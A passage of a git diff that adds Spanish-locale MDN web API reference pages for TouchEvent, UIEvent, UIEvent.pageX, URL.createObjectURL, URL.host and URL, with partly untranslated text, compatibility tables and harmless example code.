+	<dd>Fired when cues are entered and exited. A given text cue appears when the cue is entered and disappears when the cue is exited.<br>
+	Also available via the <code><a href="/en-US/docs/Web/API/GlobalEventHandlers/oncuechange">oncuechange</a></code> property.</dd>
+</dl>
+
+<h2 id="methods" name="methods">Methods</h2>
+
+<p class="methods also_inherits"><em>This interface also inherits methods from {{domxref("EventTarget")}}.</em></p>
+
+<dl id="method_definitions">
+	<dt>{{domxref("TextTrack.addCue()")}}</dt>
+	<dd>Adds a cue (specified as a {{domxref("TextTrackCue")}} object to the track's list of cues.</dd>
+	<dt>{{domxref("TextTrack.removeCue()")}}</dt>
+	<dd>Removes a cue (specified as a {{domxref("TextTrackCue")}} object from the track's list of cues.</dd>
+</dl>
+
+<dl id="method_definitions_obsolete">
+</dl>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<p>tbd</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+	<tbody>
+		<tr>
+			<th scope="col">Specification</th>
+			<th scope="col">Status</th>
+			<th scope="col">Comment</th>
+		</tr>
+		<tr>
+			<td>{{ SpecName('HTML WHATWG', '#texttrack', 'TextTrack') }}</td>
+			<td>{{ Spec2('HTML WHATWG') }}</td>
+			<td></td>
+		</tr>
+	</tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.TextTrack")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+	<li><a href="/en-US/docs/Web/API/WebVTT_API">WebVTT</a></li>
+	<li>{{domxref("TextTrackCueList")}}</li>
+	<li>{{domxref("VTTCue")}}</li>
+	<li>{{HTMLElement("track")}}</li>
+	<li>{{domxref("HTMLTrackElement")}}</li>
+</ul>
diff --git a/files/es/web/api/touchevent/index.html b/files/es/web/api/touchevent/index.html
new file mode 100644
index 0000000000..c18c737064
--- /dev/null
+++ b/files/es/web/api/touchevent/index.html
@@ -0,0 +1,190 @@
+---
+title: TouchEvent
+slug: Web/API/TouchEvent
+translation_of: Web/API/TouchEvent
+---
+<p>{{ APIRef("Touch Events") }}</p>
+
+<p>La interfaz <strong><code>TouchEvent</code></strong> representa un evento enviado cuando cambia el estado de los contactos con una superficie sensible al tacto. Esta superficie puede ser una pantalla táctil o un trackpad, por ejemplo. El evento puede describir uno o mas puntos de contacto con la pantalla e incluye soporte para detectar el movimiento, adición y remoción de puntos de contacto, etc.</p>
+
+<p>Los toques pueden ser representados por el objeto {{ domxref("Touch") }}, cada toque es descrito por una posición, tamaño y forma, cantidad de presión, y el elemento que se presiona. Los toques son almacenados en el objeto {{ domxref("TouchList") }}</p>
+
+<p>Constructor</p>
+
+<dl>
+ <dt>{{domxref("TouchEvent.TouchEvent", "TouchEvent()")}}</dt>
+ <dd>Crea un objeto Touch<code>Event</code>.</dd>
+</dl>
+
+<h2 id="Propiedades">Propiedades</h2>
+
+<p><em>Esta interfaz hereda propiedades de sus padres {{domxref("UIEvent")}} y {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("TouchEvent.altKey") }} {{readonlyInline}}</dt>
+ <dd>Un valor Booleano indicando si la tecla alt estaba pulsada cuando el evento touch fue lanzado.</dd>
+ <dt>{{ domxref("TouchEvent.changedTouches") }} {{readonlyInline}}</dt>
+ <dd>Una lista {{ domxref("TouchList") }} objetos {{ domxref("Touch") }} representan puntos de contacto individuales cuyos estados cambiaron entre el evento touch previo y este. </dd>
+ <dt>{{ domxref("TouchEvent.ctrlKey") }} {{readonlyInline}}</dt>
+ <dd>Un valor booleano que indica si la tecla de control estaba pulsada o no cuando el evento touch se disparó.</dd>
+ <dt>{{ domxref("TouchEvent.metaKey") }} {{readonlyInline}}</dt>
+ <dd>Un valor Boleano que indica si la tecla meta estaba apagada o no cuando el evento touch se disparó.</dd>
+ <dt>{{ domxref("TouchEvent.shiftKey") }} {{readonlyInline}}</dt>
+ <dd>Un valor Boleano que indica si la techa shift estaba apagado(presionada) cuando el evento touch se disparó.</dd>
+ <dt>{{ domxref("TouchEvent.targetTouches") }}{{readonlyInline}}</dt>
+ <dd>A {{ domxref("TouchList") }} of all the {{ domxref("Touch") }} objects that are both currently in contact with the touch surface <strong>and</strong> were also started on the same element that is the target of the event.</dd>
+ <dt>{{ domxref("TouchEvent.touches") }} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("TouchList") }} of all the {{ domxref("Touch") }} objects representing all current points of contact with the surface, regardless of target or changed status.</dd>
+</dl>
+
+<h2 id="Tipos_de_evento_táctiles">Tipos de evento táctiles</h2>
+
+<p>Hay varios tipos de eventos que pueden ser disparados (activados) para indicar que han ocurrido cambios relacionados con el contacto. Puede determinar cuál de estos ha ocurrido mirando la propiedad {{domxref ("event.type", "TouchEvent.type")}} del evento.</p>
+
+<div class="note"><strong>Nota:</strong> Es importante observar que en muchos casos, Los eventos táctiles y de mouse se envían (para permitir que el código no táctil específico aún interactúe con el usuario). Si usa eventos táctiles, debe llamar a {{domxref ("event.preventDefault ()")}} para evitar que también se envíe el evento del mouse.</div>
+
+<h3 id="event(touchstart)">{{event("touchstart")}}</h3>
+
+<p>Sent when the user places a touch point on the touch surface. The event's target will be the {{ domxref("element") }} in which the touch occurred.</p>
+
+<h3 id="event(touchend)">{{event("touchend")}}</h3>
+
+<p>Sent when the user removes a touch point from the surface (that is, when they lift a finger or stylus from the surface). This is also sent if the touch point moves off the edge of the surface; for example, if the user's finger slides off the edge of the screen.</p>
+
+<p>The event's target is the same {{ domxref("element") }} that received the <code>touchstart</code> event corresponding to the touch point, even if the touch point has moved outside that element.</p>
+
+<p>The touch point (or points) that were removed from the surface can be found in the {{ domxref("TouchList") }} specified by the <code>changedTouches</code> attribute.</p>
+
+<h3 id="event(touchmove)">{{event("touchmove")}}</h3>
+
+<p>Sent when the user moves a touch point along the surface. The event's target is the same {{ domxref("element") }} that received the <code>touchstart</code> event corresponding to the touch point, even if the touch point has moved outside that element.</p>
+
+<p>This event is also sent if the values of the radius, rotation angle, or force attributes of a touch point change.</p>
+
+<div class="note"><strong>Note:</strong> The rate at which <code>touchmove</code> events is sent is browser-specific, and may also vary depending on the capability of the user's hardware. You must not rely on a specific granularity of these events.</div>
+
+<h3 id="event(touchcancel)">{{event("touchcancel")}}</h3>
+
+<p>Sent when a touch point has been disrupted in some way. There are several possible reasons why this might happen (and the exact reasons will vary from device to device, as well as browser to browser):</p>
+
+<ul>
+ <li>An event of some kind occurred that canceled the touch; this might happen if a modal alert pops up during the interaction.</li>
+ <li>The touch point has left the document window and moved into the browser's UI area, a plug-in, or other external content.</li>
+ <li>The user has placed more touch points on the screen than can be supported, in which case the earliest {{ domxref("Touch") }} in the {{ domxref("TouchList") }} gets canceled.</li>
+</ul>
+
+<h2 id="GlobalEventHandlers">GlobalEventHandlers</h2>
+
+<p>{{SeeCompatTable}}</p>
+
+<dl>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchstart") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchstart")}} event.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchend") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchend")}} event.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchmove") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchmove")}} event.</dd>
+ <dt>{{ domxref("GlobalEventHandlers.ontouchcancel") }} {{experimental_inline}}</dt>
+ <dd>A {{domxref("GlobalEventHandlers","global event handler")}} for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>See the <a href="/en/DOM/Touch_events#Example" title="en/DOM/Touch events#Example">example on the main Touch events article</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events 2')}}</td>
+   <td>Added <code>ontouchstart</code>, <code>ontouchend</code>, <code>ontouchmove</code>, <code>ontouchend</code> global attribute handlers</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Touch Events', '#touchevent-interface', 'TouchEvent')}}</td>
+   <td>{{Spec2('Touch Events')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_en_navegadores">Compatibilidad en navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatChrome("22.0")}}</td>
+   <td>{{CompatGeckoDesktop("18.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>11</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td>TouchEvent()</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Touch_events","Touch Events Overview")}}</li>
+ <li>{{domxref("GestureEvent")}}</li>
+ <li>{{domxref("MSGestureEvent")}}</li>
+</ul>
diff --git a/files/es/web/api/uievent/index.html b/files/es/web/api/uievent/index.html
new file mode 100644
index 0000000000..8d896924eb
--- /dev/null
+++ b/files/es/web/api/uievent/index.html
@@ -0,0 +1,158 @@
+---
+title: UIEvent
+slug: Web/API/UIEvent
+tags:
+  - API
+translation_of: Web/API/UIEvent
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>The <strong><code>UIEvent</code></strong> interface represents simple user interface events.</p>
+
+<p><code>UIEvent</code> derives from {{domxref("Event")}}. Though the {{domxref("UIEvent.initUIEvent()")}} method is kept for backward compatibility, creating of a <code>UIEvent</code> object should be done using the {{domxref("UIEvent.UIEvent", "UIEvent()")}} constructor.</p>
+
+<p>Several interfaces are direct or indirect descendants of this one: {{domxref("MouseEvent")}}, {{domxref("FocusEvent")}}, {{domxref("KeyboardEvent")}}, {{domxref("WheelEvent")}}, {{domxref("InputEvent")}}, and {{domxref("CompositionEvent")}}.</p>
+
+<h2 id="Constructors">Constructors</h2>
+
+<dl>
+ <dt>{{domxref("UIEvent.UIEvent()", "UIEvent()")}}</dt>
+ <dd>Creates a <code>UIEvent</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties of its parent, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("UIEvent.cancelBubble")}} {{Deprecated_inline}}{{Non-standard_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating whether the bubbling of the event has been canceled or not.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("UIEvent.detail")}}{{readonlyinline}}</dt>
+ <dd>Returns a <code>long</code> that gives some detail about the event, depending on the type of event.</dd>
+ <dt>{{domxref("UIEvent.isChar")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns a {{jsxref("Boolean")}} indicating whether the event produced a key character or not.</dd>
+ <dt>{{domxref("UIEvent.layerX")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the horizontal coordinate of the event relative to the current layer.</dd>
+ <dt>{{domxref("UIEvent.layerY")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the vertical coordinate of the event relative to the current layer.</dd>
+ <dt>{{domxref("UIEvent.pageX")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the horizontal coordinate of the event relative to the whole document.</dd>
+ <dt>{{domxref("UIEvent.pageY")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the vertical coordinate of the event relative to the whole document.</dd>
+ <dt>{{domxref("UIEvent.view")}}{{readonlyinline}}</dt>
+ <dd>Returns a {{domxref("WindowProxy")}} that contains the view that generated the event.</dd>
+ <dt>{{domxref("UIEvent.which")}} {{Non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Returns the numeric <code>keyCode</code> of the key pressed, or the character code (<code>charCode</code>) for an alphanumeric key pressed.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods of its parent, {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("UIEvent.initUIEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes a <code>UIEvent</code> object. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>From {{SpecName('DOM2 Events')}}:
+    <ul>
+     <li>added the <code>UIEvent()</code> constructor,</li>
+     <li>deprecated the <code>initUIEvent()</code> method,</li>
+     <li>and changed the type of <code>view</code> from <code>AbstractView</code> to <code>WindowProxy</code>.</li>
+    </ul>
+   </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>UIEvent()</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoDesktop(11)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td><code>UIEvent()</code></td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatGeckoMobile(11)}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 class="editable" id="See_also"><span>See also</span></h2>
+
+<ul>
+ <li>{{ domxref("Event") }}</li>
+</ul>
diff --git a/files/es/web/api/uievent/pagex/index.html b/files/es/web/api/uievent/pagex/index.html
new file mode 100644
index 0000000000..fbd75e26f8
--- /dev/null
+++ b/files/es/web/api/uievent/pagex/index.html
@@ -0,0 +1,102 @@
+---
+title: event.pageX
+slug: Web/API/UIEvent/pageX
+tags:
+  - DOM
+  - Referencia_DOM_de_Gecko
+  - Todas_las_Categorías
+translation_of: Web/API/UIEvent/pageX
+---
+<p>{{ ApiRef() }}</p>
+<h3 id="Sumario" name="Sumario">Sumario</h3>
+<p>Retorna la coordena horizontal del evento, relativo al documento completo.</p>
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+<pre class="eval"><i>pageX</i> =<i>event</i>.pageX;
+</pre>
+<p><code>pageX</code> es un valor entero expresado en pixels para la corrdenada X del puntero del ratón, relativo al documento entero, cuando se produjo el evento. Esta propiedad toma en cuenta la barra de desplazamiento horizontal de la página.</p>
+<h3 id="Ejemplo" name="Ejemplo">Ejemplo</h3>
+<pre>&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;pageX\pageY &amp; layerX\layerY example&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+
+function showCoords(evt){
+  var form = document.forms.form_coords;
+  var parent_id = evt.target.parentNode.id;
+  form.parentId.value = parent_id;
+  form.pageXCoords.value = evt.pageX;
+  form.pageYCoords.value = evt.pageY;
+  form.layerXCoords.value = evt.layerX;
+  form.layerYCoords.value = evt.layerY;
+}
+
+&lt;/script&gt;
+
+&lt;style type="text/css"&gt;
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+&lt;/style&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+
+&lt;p&gt;To display the mouse coordinates please click anywhere on the page.&lt;/p&gt;
+
+&lt;div id="d1"&gt;
+&lt;span&gt;This is an un-positioned div so clicking it will return
+layerX/layerY values almost the same as pageX/PageY values.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d2"&gt;
+&lt;span&gt;This is a positioned div so clicking it will return layerX/layerY
+values that are relative to the top-left corner of this positioned
+element. Note the pageX\pageY properties still return the
+absolute position in the document, including page scrolling.&lt;/span&gt;
+
+&lt;span&gt;Make the page scroll more! This is a positioned div so clicking it
+will return layerX/layerY values that are relative to the top-left
+corner of this positioned element. Note the pageX\pageY properties still
+return the absolute position in the document, including page
+scrolling.&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;div id="d3"&gt;
+&lt;form name="form_coords"&gt;
+ Parent Element id: &lt;input type="text" name="parentId" size="7" /&gt;&lt;br /&gt;
+ pageX:&lt;input type="text" name="pageXCoords" size="7" /&gt;
+ pageY:&lt;input type="text" name="pageYCoords" size="7" /&gt;&lt;br /&gt;
+ layerX:&lt;input type="text" name="layerXCoords" size="7" /&gt;
+ layerY:&lt;input type="text" name="layerYCoords" size="7" /&gt;
+&lt;/form&gt;
+&lt;/div&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+<h3 id="Specificaci.C3.B3n" name="Specificaci.C3.B3n">Specificación</h3>
+<p>No es parte del estándar público.</p>
+<p>{{ languages( { "pl": "pl/DOM/event.pageX", "en": "en/DOM/event.pageX" } ) }}</p>
diff --git a/files/es/web/api/url/createobjecturl/index.html b/files/es/web/api/url/createobjecturl/index.html
new file mode 100644
index 0000000000..9a6b6841b4
--- /dev/null
+++ b/files/es/web/api/url/createobjecturl/index.html
@@ -0,0 +1,148 @@
+---
+title: URL.createObjectURL()
+slug: Web/API/URL/createObjectURL
+tags:
+  - API
+  - Experimental
+  - Method
+  - URL
+  - URL API
+  - createObjectURL
+translation_of: Web/API/URL/createObjectURL
+---
+<p>{{ApiRef("URL")}}{{SeeCompatTable}}</p>
+
+<p>El método estático <strong><code>URL.createObjectURL()</code></strong> crea un {{domxref("DOMString")}} que contiene una URL que representa al objeto pasado como parámetro. La vida de la URL está ligado al {{domxref("document")}} de la ventana en la que fue creada. El nuevo objeto URL representa al objeto {{domxref("File")}} especificado o al objeto {{domxref("Blob")}}.</p>
+
+<div class="note">
+<p>El uso de un objeto {{domxref("MediaStream")}} como entrada a este método está en proceso de ser obsoleto. Las discusiones están en curso sobre si o no debe ser quitado totalmente. Como tal, <em>se debe de evitar usar este método con  {{domxref("MediaStream")}}s, y se debería usar {{domxref("HTMLMediaElement.srcObject", "HTMLMediaElement.srcObject()")}}</em>.</p>
+</div>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><em>objectURL</em> = URL.createObjectURL(<em>object</em>);
+</pre>
+
+<h2 id="Parámetros">Parámetros</h2>
+
+<dl>
+ <dt><code>object</code></dt>
+ <dd>Un objeto {{domxref("File")}} o un objeto {{domxref("Blob")}} para el que se creará la URL.</dd>
+</dl>
+
+<ul>
+</ul>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<p>Ver <a href="/en-US/docs/Using_files_from_web_applications#Example_Using_object_URLs_to_display_images" title="https://developer.mozilla.org/en/Using_files_from_web_applications#Example:_Using_object_URLs_to_display_images">Usando objetos URL para representar imágenes</a>.</p>
+
+<h2 id="Notas">Notas</h2>
+
+<p>Cada vez que se llama a <code>createObjectURL()</code>, un nuevo objeto URL es creado, incluso si ya creaste uno para el mismo objeto. Cada uno de estos objetos puede ser liberado usando {{domxref("URL.revokeObjectURL()")}} cuándo ya no lo necesitas. Los navegadores liberan estos objetos cuando el documento es cerrado; de todas formas, para obtener un rendimiento óptimo y un óptimo uso de memoria, si hay momentos seguros en los que puedes liberar estos objetos deberías hacerlo. Por ejemplo: No liberar los recursos cuando se ha creado una URL a partir de un {{domxref('MediaStream')}} puede dejar la luz de la cámara del navegador encendida más tiempo del necesario.</p>
+
+<div class="note">
+<p>Notese que no es necesario crear URLs a partir de un {{domxref('MediaStream')}}, ya que los objetos de streams deberían asignarse directamente a elementos de reproducción con {{domxref("HTMLMediaElement.srcObject")}}. La posibilidad de usar un <code>MediaStream</code> como valor de un objeto está obsoleta.</p>
+</div>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-createObjectURL', 'URL')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>8 [1]<br>
+    {{CompatChrome(23)}}</td>
+   <td>{{CompatGeckoDesktop(2)}}</td>
+   <td>{{CompatIE(10)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(6)}} [1]<br>
+    {{CompatSafari(7)}}</td>
+  </tr>
+  <tr>
+   <td>In a {{ domxref("Worker", "Web Worker") }}</td>
+   <td>10 [1]<br>
+    {{CompatChrome(23)}}</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>{{CompatIE(11)}}</td>
+   <td>{{CompatOpera(15)}}</td>
+   <td>{{CompatSafari(6)}} [1]<br>
+    {{CompatSafari(7)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome para Android</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>18 [1]</td>
+   <td>4.0 [1]</td>
+   <td>{{CompatGeckoMobile(14)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(15)}} [1]</td>
+   <td>6.0 [1]</td>
+  </tr>
+  <tr>
+   <td>In a {{ domxref("Worker", "Web Worker") }}</td>
+   <td>18 [1]</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile(14)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(15)}} [1]</td>
+   <td>6.0 [1]</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Con <code><a href="/en-US/docs/Web/API/URL">URL</a></code> prefijado como <code>webkitURL</code></p>
+
+<h2 id="Mirar_también">Mirar también</h2>
+
+<ul>
+ <li>{{domxref("URL.revokeObjectURL()")}}</li>
+ <li>{{domxref("HTMLMediaElement.srcObject")}}</li>
+ <li><a href="/en-US/docs/Using_files_from_web_applications" title="Using files from web applications">Usando archivos desde aplicaciones web</a></li>
+</ul>
diff --git a/files/es/web/api/url/host/index.html b/files/es/web/api/url/host/index.html
new file mode 100644
index 0000000000..f18934e6a6
--- /dev/null
+++ b/files/es/web/api/url/host/index.html
@@ -0,0 +1,62 @@
+---
+title: Estabilidad
+slug: Web/API/URL/Host
+translation_of: Web/API/URL/host
+---
+<div>{{ApiRef("URL API")}}</div>
+
+<p>The <strong><code>host</code></strong> property of the {{domxref("URL")}} interface is a {{domxref("USVString")}} containing the host, that is the {{domxref("URL.hostname", "hostname")}}, and then, if the {{glossary("port")}} of the URL is nonempty, a <code>':'</code>, followed by the {{domxref("URL.port", "port")}} of the URL.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">const <em>host</em> = <em>url</em>.host
+<em>url.<code>host</code></em> = <em>newHost</em>
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>A {{domxref("USVString")}}.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">let url = new URL('https://developer.mozilla.org/en-US/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+
+url = new URL('https://developer.mozilla.org:443/en-US/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org"
+// The port number is not included because 443 is the scheme's default port
+
+url = new URL('https://developer.mozilla.org:4097/en-US/docs/Web/API/URL/host');
+console.log(url.host); // "developer.mozilla.org:4097"
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('URL', '#dom-url-host', 'URL.host')}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.URL.host")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The {{domxref("URL")}} interface it belongs to.</li>
+</ul>
diff --git a/files/es/web/api/url/index.html b/files/es/web/api/url/index.html
new file mode 100644
index 0000000000..c107b21511
--- /dev/null
+++ b/files/es/web/api/url/index.html
@@ -0,0 +1,217 @@
+---
+title: URL
+slug: Web/API/URL
+tags:
+  - API
+  - Experimental
+  - Expérimental(2)
+  - NeedsTranslation
+  - TopicStub
+  - URL API
+translation_of: Web/API/URL
+---
+<div>{{ApiRef("URL API")}} {{SeeCompatTable}}</div>
+
+<p>La interfaz <strong><code>URL</code></strong> representa a un objeto que provee métodos estáticos para crear objetos URL.</p>
+
+<p>When using a user agent where no constructor has been implemented yet, it is possible to access such an object using the {{domxref("Window.URL")}} properties (prefixed with Webkit-based browser as <code>Window.webkitURL</code>).</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("URL.href")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the whole URL.</dd>
+ <dt>{{domxref("URL.protocol")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the protocol scheme of the URL, including the final <code>':'</code>.</dd>
+ <dt>{{domxref("URL.host")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the host, that is the <em>hostname</em>, a <code>':'</code>, and the <em>port</em> of the URL.</dd>
